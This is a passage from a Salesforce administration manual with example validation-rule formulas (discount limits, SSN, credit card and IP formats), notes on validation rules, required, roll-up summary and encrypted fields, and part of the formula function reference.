Prevents users from saving software products with a discount


over 10 percent.

Formula:
AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))

Error Message:

The discount must be 10% or less for software products.

Error Location:

Line Discount

Consulting Discounts
Field

Value

Description:

Prevents users from saving consulting products with a discount


over 15 percent.

Formula:
AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))

Error Message:

The discount must be 15% or less for consulting products.

Error Location:

Line Discount

Training Discounts
Field

Value

Description:

Prevents users from saving training products with a discount


over 20 percent.

Formula:
AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))

Error Message:

The discount must be 20% or less for training products.

Error Location:

Line Discount

Prevent Changing Opportunity Products on Closed Opportunities


This example consists of two validation rules: one on opportunity products and another on opportunities.
Field

Value

Description:

Prevents users from editing opportunity products after an


opportunity is closed. Create the following validation rule
example on opportunity products.

1186

Customize

Field

Managing Validation Rules

Value

Formula:
OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))

Error Message:

Cannot change opportunity products for closed opportunities.

Error Location:

Top of Page

The following validation rule is on opportunities.


Field

Value

Description:

Prevents users from deleting opportunity products after an


opportunity is closed. Create the following validation rule
example on opportunities. It uses a custom roll-up summary
field on opportunities that counts the number of opportunity
products on an opportunity.

Formula:
AND(OR(ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Closed Lost")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

Error Message:

Cannot delete opportunity products for closed opportunities.

Error Location:

Top of Page

Prevent Saving a Case When Account Does Not Have Support


Field

Value

Description:

Prevents users from saving a case for an account that does not
have support. This example assumes you have a custom
checkbox field on accounts called Allowed Support that
tracks if the account has support.

Formula:
Account.Allowed_Support__c

= FALSE

Error Message:

Unable to create cases for this account because it is not signed


up for support.

Error Location:

Top of Page

1187

Customize

Managing Validation Rules

Prevent Saving a Case When Contact is No Longer with the Company


Field

Value

Description:

Prevents users from saving an open case associated with a


contact that is no longer with the company. This example uses
a custom checkbox field on contacts called No Longer With
Company.

Formula:
AND(Contact.Not_Longer_With_Company__c,
NOT(IsClosed))

Error Message:

Unable to save this case because the related contact is no longer


with the company. To continue, choose another contact.

Error Location:

Contact Name

Community Validation Rules


Preventing Offensive Language in Questions
Field

Value

Description:

Prevents users from entering offensive language in the Title and Description fields
when asking a question.

Formula:
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message:

Question title or description contains offensive language.

Preventing Offensive Language in Replies


Field

Value

Description:

Prevents users from entering offensive language when replying to a question.

Formula:
OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))

Error Message:

Reply contains offensive language.

Preventing Offensive Language in Ideas


Field

Value

Description:

Prevents users from entering offensive language in the Title and Description fields
when posting an idea.

1188

Customize

Field

Managing Validation Rules

Value

Formula:
OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))

Error Message:

Idea title or description contains offensive language.

Preventing Offensive Language in Idea Comments


Field

Value

Description:

Prevents users from entering offensive language when posting a comment.

Formula:
OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Error Message:

Comment contains offensive language.

Other Validation Rules


Allow Number to Be Increased but Not Decreased
Field

Value

Description:

Allows a custom field called Commit Amount to be increased but not decreased after
initial creation. This rule uses the PRIORVALUE() function to compare the updated
value of the field to its value prior to update.

Formula:
PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Error Message:

Commit Amount cannot be decreased.

Error Location:

Commit Amount

California Driver's License


Field

Value

Description:

Ensures that a custom field called Drivers License is in the correct A9999999 format
when the Mailing State is CA.

Formula:
AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)

Error Message:

Invalid California driver's license format.

1189

Customize

Managing Validation Rules

Field

Value

Error Location:

Drivers License

Force Users to Check I Accept Terms to Enter Certain Values


Field

Value

Description:

Uses a checkbox labeled I accept terms to force the user to select a checkbox in order
to enter a value called Number of Days that exceeds their Paid Time Off (PTO)
balance available.

Formula:
AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c
)

Error Message:

Request will cause a negative PTO balance. You must accept Negative PTO Balance
terms.

Error Location:

I accept terms

Prohibit Changes to a Field After It Has Been Saved


Field

Value

Description:

Prevents users from changing a custom field called Guaranteed Rate after it has been
saved initially.

Formula:
AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )
)

Error Message:

Guaranteed Rate cannot be changed.

Error Location:

Guaranteed Rate

Social Security Number Format


Field

Value

Description:

Validates that a custom text field called SSN is formatted in 999-99-9999 number format
(if it is not blank). The pattern specifies:
Three single digits (0-9):\\d{3}
A dash
Two single digits (0-9):\\d{2}
A dash
Four single digits (0-9):\\d{4}

1190

Customize

Field

Managing Validation Rules

Value

Formula:
NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Error Message:

SSN must be in this format: 999-99-9999.

Error Location:

SSN

Valid Currency
Field

Value

Description:

Validates selected currency against an explicit subset of active currencies in your


organization using the Currency picklist. Use this example if you only allow some of
the active currencies in your organization to be applied to certain types of records.

Formula:
CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0

Error Message:

Currency must be USD, EUR, GBP, or JPY.

Error Location:

Currency

Valid Credit Card Number


Field

Value

Description:

Validates that a custom text field called Credit_Card_Number is formatted in


9999-9999-9999-9999 or 9999999999999999 number format when it is not blank. The
pattern specifies:
Four digits (0-9) followed by a dash: \\d{4} The aforementioned pattern is repeated three times by wrapping it in () {3}
Four digits (0-9)
The OR character (|) allows an alternative pattern of 16 digits of zero through nine
with no dashes: \\d{16}

Formula:
NOT( REGEX( Credit_Card_Number__c ,
"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Error Message:

Credit Card Number must be in this format: 9999-9999-9999-9999 or


9999999999999999.

1191

Customize

Managing Validation Rules

Field

Value

Error Location:

Credit Card Number

Valid IP Address
Field

Value

Description:

Ensures that a custom field called IP Address is in the correct format, four 3-digit
numbers (0-255) separated by periods.

Formula:
NOT(
REGEX( IP_Address__c,
"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.)
{3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ))

Error Message:

Error: IP Address must be in form 999.999.999.999 where each part is between 0 and
255.

Error Location:

IP Address

Website Extension
Field

Value

Description:

Validates a custom field called Web Site to ensure its last four characters are in an
explicit set of valid website extensions.

Formula:
AND(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
RIGHT(
)

Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,
Web_Site__c,

4)
4)
4)
4)
4)
4)
6)
6)

<>
<>
<>
<>
<>
<>
<>
<>

".COM",
".com",
".ORG",
".org",
".NET",
".net",
".CO.UK",
".co.uk"

Error Message:

Web Site must have an extension of .com, .org, .net, or .co.uk.

Error Location:

Web Site

1192

Customize

Managing Validation Rules

Validation Rule Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value. Review the following implementation notes and best practices before implementing validation rules in your
organization.
Implementation Notes

It isn't necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works.
For example:
Correct: CloseDate < TODAY()
Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE)

Validation formulas can't reference merge fields for auto number or compound address fields like Mailing Address.
However, merge fields for individual address fields, such as Billing City, can be used in validation formulas.
Validation rules can't refer to compound fields. Examples of compound fields include addresses, first and last names,
dependent picklists, and dependent lookups.
Validation formulas can't reference campaign statistic fields, including statistics for individual campaigns and campaign
hierarchies. For a list of fields that can't be used in validation formulas, see Campaign Fields on page 2854.
When one validation rule fails, Salesforce continues to check any additional validation rules on that field or any other field
on the page and displays all appropriate error messages at once.
The detail page of a custom activity field doesn't list associated validation rules.
If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task isn't
created.
Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your
organization.
Campaign hierarchies ignore validation rules.
Salesforce runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates
records that have valid values.
The Data Loader and the Force.com API version 7 and later run validation rules.
Salesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider
deactivating the appropriate validation rules before running an import if they affect the records you are importing.
Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously
valid fields.
When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the
error location to Top of Page.
An Invalid Formula error displays if your formula has a run-time error such as division by zero.
You can't create validation rules for relationship group members.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. For more information
on how to set up lookup relationships, see Overview of Relationships on page 1740.

1193

Customize

Managing Validation Rules

When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example,
if you have a validation rule that tests to see if the serial number of an asset begins with 3, all assets that have a blank
serial number are considered valid.
Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
Read, Edit, and None when referencing the following merge fields in a formula.

$UserRole.CaseAccessForAccountOwner
$UserRole.OpportunityAccessForAccountOwner
CaseAccessLevel (on Territory)
OpportunityAccessLevel (on Territory)

Use the values Read, Edit, and All when referencing the following merge fields in a formula:
AccountAccessLevel (on Territory)

Because roll-up summary fields aren't displayed on edit pages, you can use them in your validation rule but not as the error
location.
Validation rules don't run on multiple records updated after a change owner or mass transfer. However, changing an owner
of a single record does run validation rules.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

Lookup Filters vs. Validation Rules


Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:

You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.

Use a validation rule if:

You're close to the maximum number of lookup filters allowed.


You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic
filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example,
use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Best Practices

When creating validation rules, consider all the settings in your organization that can make a record fail validation such
as assignment rules, field updates, field-level security, or fields hidden on a page layout.
Be careful not to create two contradicting validation rules for the same field; otherwise, users won't be able to save the
record.
A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule
before activating it. Users will never be able to save a record if your formula always returns a True value.
Because validation rules run on the Self-Service portal, make sure your validation rules don't prevent Self-Service users
from creating cases.
Write helpful error messages:

1194

Customize

Managing Validation Rules

Always include the field label.


Users may not know what field is failing validation, especially if your error message is located at the top of the page.
Give instructions.
An error message like invalid entry doesn't tell them what type of entry is valid. Use an error message like "Close
Date must be after today."
If appropriate, translate your error messages.
If users in your organization speak different languages, translate your error messages using the Translation Workbench.
See Setting Up the Translation Workbench on page 487.
Assign error numbers to validation rules and error messages.
This allows you to identify the source of the error.

Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that aren't
visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the
error message is designed to display next to a hidden field, it will display at the top of the page.
For such fields, consider adding a default value to automatically populate the field with a valid value since users won't be
able to edit the field to correct any validation errors. See Defining Default Field Values on page 1155.

Use the record type ID merge field in your formula to apply different validation for different record types. For information
about merge fields, see Merge Fields Overview on page 460.
If person accounts are enabled for your organization:
To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field.
You must handle person account names and business account names separately in account validation rules. For business
accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.
Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account
validation rules. When you use one of those merge fields, note that business account records will be processed as if
those fields have blank values.

When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include
fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following
validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or
false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the
HasOpportunityLineItem merge field before users can save a change to it:
NOT(OR(ISNEW(),HasOpportunityLineItem))

When referencing related fields in your validation formula, make sure those objects are deployed.
Check the Debug Log to monitor details of the start and completion of each validation rule evaluated.

1195

Customize

About Universally Required Fields

You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the
user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.

See Also:
About Validation Rules
Defining Validation Rules
Examples of Validation Rules

About Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal,
Web-to-Lead, and Web-to-Case are not available in Database.com
.

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com
API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or
automated processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level
security ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond
the presentation level of page layouts.
You can make the following types of custom fields universally required:

Currency
Date
Date/Time
Email
Master-Detail Relationship (always required)
Number
Percent
Phone
Text
Text Area
URL

To make a custom field universally required, select the Required checkbox when defining the custom field.
Note: You must specify a default value for required campaign member custom fields.
If you make a user field universally required, you must specify a default value for that field. See Defining Default Field
Values on page 1155.

1196

Customize

About Universally Required Fields

Relationship group members do not support universally required fields. For more information on the behaviors of relationship
group members, see Relationship Group Considerations on page 2679.

See Also:
Considerations for Universally Required Fields
About Custom Fields

Considerations for Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Standard Objects, Page Layouts, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook,
the Self-Service portal, Web-to-Lead, and Web-to-Cases are not available in Database.com

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce, the Force.com
API, Connect Offline, Connect for Lotus Notes, Connect for Outlook, Salesforce for Outlook, the Self-Service portal, or
automated processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom
fields universally required.

Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required,
see About Universally Required Fields on page 1196.
Universally required fields are required across all record types.
Edit pages always display universally required fields, regardless of field-level security.
When designing your page layouts, universally required fields:

Cannot be removed from a page layout


Are automatically added to the end of the first section of a page layout if not already on it
Cannot be read only or optional
Display in bold, indicating they are always visible
Are disabled on the field properties page because you cannot remove the required setting

Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled
in your organization.
Quick Create does not enforce universally required fields.
If you make an activity custom field universally required, you must also provide a default value.
You must include universally required fields in your import files or the import will fail. For more information, see About
Universally Required Fields on page 1196.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see Defining Field Updates on page 1797.

1197

Customize

About Roll-Up Summary Fields

Required fields may be blank on records that existed before making the field required. When a user updates a record with
a blank required field, the user must enter a value in the required field before saving the record.

See Also:
About Universally Required Fields
About Custom Fields

About Roll-Up Summary Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a
set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value
on a master record based on the values of records in a detail record. These detail records must be directly related to the master
through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum
of invoice amounts for all related invoice custom object records in the Invoices related list on an account.
You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records
related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records.
Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices.
Implementation Tips
Administration

Create roll-up summary fields on:

Any custom object that is on the master side of a master-detail relationship


Any standard object that is on the master side of a master-detail relationship with a custom object
Opportunities using the values of opportunity products related to the opportunity
Accounts using the values of related opportunities
Campaigns using campaign member status or the values of campaign member custom fields
Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not
supported.

The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example,
Number, currency, and percent fields are available when you select SUM as the roll-up type.
Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.

You may not be able to change the field type of a field that you reference in a roll-up summary field.
For the maximum number of roll-up summary fields allowed in your organization, see Salesforce Editions and Limits on
page 2076.
Make sure that the filter for your roll-up summary does not encounter a formula field that results in #Error!. If your filter
criteria uses a formula field that results in an error, no matches are returned for that filter criterion. For example, if your

1198

Customize

About Roll-Up Summary Fields

roll-up summary filter is Formula Field equals 10 and two records contain errors while one contains the value 10 in
that field, your summary only includes the record with the value 10.
Salesforce does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select the
Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field to
manually recalculate the value.
Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and
lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters.
Auto number fields are not available as the field to aggregate in a roll-up summary field.
After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into
a lookup relationship.
Roll-up summary fields are not available for mapping lead fields of converted leads.

Management

Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up
summary fields, which allow you to calculate the values of opportunity roll-up summary fields.
Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or
functions that automatically derive values on the fly, such as NOW or TODAY.
Note: The value of a formula field can result in #Error!, which affects the summarized total. If your roll-up
summary type is COUNT, records are included regardless of whether they contain a formula field with an error,
but when the Field to Aggregate is a formula field that results in #Error!, calculations of type MIN, MAX,
and SUM exclude those formula values.

Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of
the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned.
Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do
not fire when the following changes cause a mass recalculation of roll-up summary values:

Changing the roll-up summary definition (such as the object, function, or field being aggregated)
Changing the expression of a formula field referenced in a roll-up summary field
Replacing picklist values for picklist fields referenced in the roll-up summary filter
Changing picklist record type definitions
Changing currency conversion rates
Changing price book entries

Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and
other factors.
You are not prevented from creating roll-up summary fields that might result in invalid values, such as February 29th in
a non-leap year. If an existing roll-up summary field results in an invalid value, the value is not recalculated , and the field
will continue to display with an invalid roll-up summary icon ( ) until you change the values being summarized.
If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up
summary field. For example, if the master and detail records are in different currencies, the values in the detail record are
converted into the currency of the master record before calculating the final value and displaying it in the same currency
as the master record.
If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values.
Salesforce will prevent users from saving a record when doing so would invalidate a related record. For example, if the
related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the
user's change to the child record will put the value over 100, the user will not be able to save the record.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

1199

Customize

About Roll-Up Summary Fields

Best Practices

Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields
that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary
field.
If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving
either the detail or master record because the value in a roll-up summary field changes when the values in the detail records
change.
Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error
location for your validation.
Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value
because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up
summary field will always have the new value because that rule runs after the parent value has been updated.
If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record,
your validation rule on the child object needs to check if the count is already 25 or greater.
AND(ISNEW(), Sample.Line_Count__c >= 25)

Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the
detail object selected or delete any field referenced in your roll-up summary definition.
Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency
management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities
that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because
their values are no longer caluculated.
Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes
formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields
that include related object merge fields are also not allowed in roll-up summary fields.

See Also:
Creating Custom Fields
Defining Roll-Up Summaries

Defining Roll-Up Summaries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view roll-up summary field definitions:

View Setup and Configuration

To edit roll-up summary field definitions:

Customize Application

Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does
not already exist, first create a master-detail relationship between the master object that displays the value and the detail object

1200

Customize

About Encrypted Custom Fields

containing the records you are summarizing.For a list of the standard master-detail relationships where roll-up summary fields
are available, see About Roll-Up Summary Fields on page 1198.
To define a roll-up summary field:
1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records
on a related object, so the object on which you create the field should be on the master side of a master-detail relationship.
For instructions on creating a custom field, see Creating Custom Fields on page 1075.
2. Choose the Roll-Up Summary field type, and click Next.
3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field
Attributes on page 1081.
4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize.
5. Select the type of summary:
Type

Description

COUNT

Totals the number of related records.

SUM

Totals the values in the field you select in the Field to Aggregate option. Only number, currency,
and percent fields are available.

MIN

Displays the lowest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.

MAX

Displays the highest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.

6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses
multiple languages, enter filter values in your organization's default language. For more information on using filter criteria,
see Entering Filter Criteria on page 2961.
7. Click Next.
8. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
10. Click Save to finish or Save & New to create more custom fields.

See Also:
About Roll-Up Summary Fields

About Encrypted Custom Fields


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted
field is only visible to users that have the View Encrypted Data permission.

1201

Customize

About Encrypted Custom Fields

Before you begin working with encrypted custom fields, review the following implementation notes and best practices:
Implementation Notes

Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm.
You can archive, delete, and import your master encryption key. To enable master encryption key management, contact
salesforce.com. See also Managing Master Encryption Keys on page 720.
Encrypted custom fields cannot be unique, an external ID, or have default values.
While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the
encryption algorithm.
Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
Encrypted fields cannot be used to define report criteria but they can be included in report results.
Encrypted fields are not searchable but they can be included in search results.
Encrypted fields are not available in the following: Salesforce Mobile, Connect Offline, Connect for Lotus Notes, Connect
for Outlook, Salesforce for Outlook, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages,
default values, and Web-to-Lead and Web-to-Case forms.
You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the View
Encrypted Data permission.
If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets
Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 668.
If you have the View Encrypted Data permission and you grant login access to another user, be aware that the other user
will be able to see encrypted fields unmasked (in plain text).
Only users with the View Encrypted Data permission can clone the value of an encrypted field when cloning that record.
Only the <apex:outputField> component supports presenting encrypted fields in Visualforce pages.

Best Practices

Encrypted fields are editable regardless of whether the user has the View Encrypted Data permission. Use validation
rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
You can still validate the values of encrypted fields using validation rules or Apex. Both work regardless of whether the
user has the View Encrypted Data permission. Data for encrypted fields in the debug log is masked.
Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data
type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store
that data, and import that data into the new encrypted field.
Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the
data entered matches the mask type selected.
Use encrypted custom fields only when government regulations require it because they involve additional processing and
have search-related limitations.

See Also:
Creating Custom Fields
Custom Field Attributes

1202

Customize

Operators and Functions

Operators and Functions


Use the following operators and functions when building formulas. Click on the name or description below to view more
details. All functions are available everywhere that you can include a formula such as formula fields, validation rules, approval
processes, and workflow rules, unless otherwise specified.
Note: Extraneous spaces in the samples below are ignored.

Math Operators
Operator

Description

Calculates the sum of two values.

Calculates the difference of two values.

Multiplies its values.

Divides its values.

Raises a number to a power of a specified number.

()

Specifies that the expressions within the open parenthesis and close parenthesis are evaluated
first. All other expressions are evaluated using standard operator precedence.

Logical Operators
Operator

Description

= and ==

Evaluates if two values are equivalent.

<> and !=

Evaluates if two values are not equivalent.

<

Evaluates if a value is less than the value that follows this symbol.

>

Evaluates if a value is greater than the value that follows this symbol.

<=

Evaluates if a value is less than or equal to the value that follows this symbol.

>=

Evaluates if a value is greater than or equal to the value that follows this symbol.

&&

Evaluates if two values or expressions are both true. Use this operator as an alternative to the
logical function AND.

||

Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative
to the logical function OR.

Text Operators
Operator

Description

&

Connects two or more strings.

1203

Customize

Operators and Functions

Date and Time Functions


Function

Description

DATE

Returns a date value from year, month, and day values you enter. Salesforce displays an error on
the detail page if the value of the DATE function in a formula field is an invalid date, such as
February 29 in a non-leap year.

DATEVALUE

Returns a date value for a date/time or text expression.

DATETIMEVALUE

Returns a year, month, day and GMT time value.

DAY

Returns a day of the month in the form of a number between 1 and 31.

MONTH

Returns the month, a number between 1 (January) and 12 (December) in number format of a
given date.

NOW

Returns a date/time representing the current moment.

TODAY

Returns the current date as a date data type.

YEAR

Returns the four-digit year in number format of a given date.

Informational Functions
Function

Description

BLANKVALUE

Determines if an expression has a value and returns a substitute expression if it does not. If the
expression has a value, returns the value of the expression.

ISBLANK

Determines if an expression has a value and returns TRUE if it does not. If it contains a value,
this function returns FALSE.

ISNULL

Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this
function returns FALSE.

NULLVALUE

Determines if an expression is null (blank) and returns a substitute expression if it is. If the
expression is not blank, returns the value of the expression.

PRIORVALUE

Returns the previous value of a field.

Logical Functions
Function

Description

AND

Returns a TRUE response if all values are true; returns a FALSE response if one or more values
are false.

CASE

Checks a given expression against a series of values. If the expression is equal to a value, returns
the corresponding result. If it is not equal to any values, it returns the else_result.

IF

Determines if expressions are true or false. Returns a given value if true and another value if false.

ISCHANGED

Compares the value of a field to the previous value and returns TRUE if the values are different.
If the values are the same, this function returns FALSE.

ISNEW

Checks if the formula is running during the creation of a new record and returns TRUE if it is.
If an existing record is being updated, this function returns FALSE.

1204

Customize

Operators and Functions

Function

Description

ISNUMBER

Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE.

NOT

Returns FALSE for TRUE and TRUE for FALSE.

OR

Determines if expressions are true or false. Returns TRUE if any expression is true. Returns
FALSE if all expressions are false.

Math Functions
Function

Description

ABS

Calculates the absolute value of a number. The absolute value of a number is the number without
its positive or negative sign.

CEILING

Rounds a number up to the nearest integer.

EXP

Returns a value for e raised to the power of a number you specify.

FLOOR

Returns a number rounded down to the nearest integer.

LN

Returns the natural logarithm of a specified number. Natural logarithms are based on the constant
e value of 2.71828182845904.

LOG

Returns the base 10 logarithm of a number.

MAX

Returns the highest number from a list of numbers.

MIN

Returns the lowest number from a list of numbers.

MOD

Returns a remainder after a number is divided by a specified divisor.

ROUND

Returns the nearest number to a number you specify, constraining the new number by a specified
number of digits.

SQRT

Returns the positive square root of a given number.

Text Functions
Function

Description

BEGINS

Determines if text begins with specific characters and returns TRUE if it does. Returns FALSE
if it does not.

BR

Inserts a line break in a string of text.

CASESAFEID

Converts a 15-character ID to a case-insensitive 18-character ID.

CONTAINS

Compares two arguments of text and returns TRUE if the first argument contains the second
argument. If not, returns FALSE.

FIND

Returns the position of a string within a string of text represented as a number.

GETSESSIONID

Returns the users session ID.

HYPERLINK

Creates a link to a URL specified that is linkable from the text specified.

IMAGE

Inserts an image with alternate text and height/width specifications.

INCLUDES

Determines if any value selected in a multi-select picklist field equals a text literal you specify.

1205

Customize

Operators and Functions

Function

Description

ISPICKVAL

Determines if the value of a picklist field is equal to a text literal you specify.

LEFT

Returns the specified number of characters from the beginning of a text string.

LEN

Returns the number of characters in a specified text string.

LOWER

Converts all letters in the specified text string to lowercase. Any characters that are not letters
are unaffected by this function. Locale rules are applied if a locale is provided.

LPAD

Inserts characters you specify to the left-side of a text string.

MID

Returns the specified number of characters from the middle of a text string given the starting
position.

RIGHT

Returns the specified number of characters from the end of a text string.

RPAD

Inserts characters that you specify to the right-side of a text string.

SUBSTITUTE

Substitutes new text for old text in a text string.

TEXT

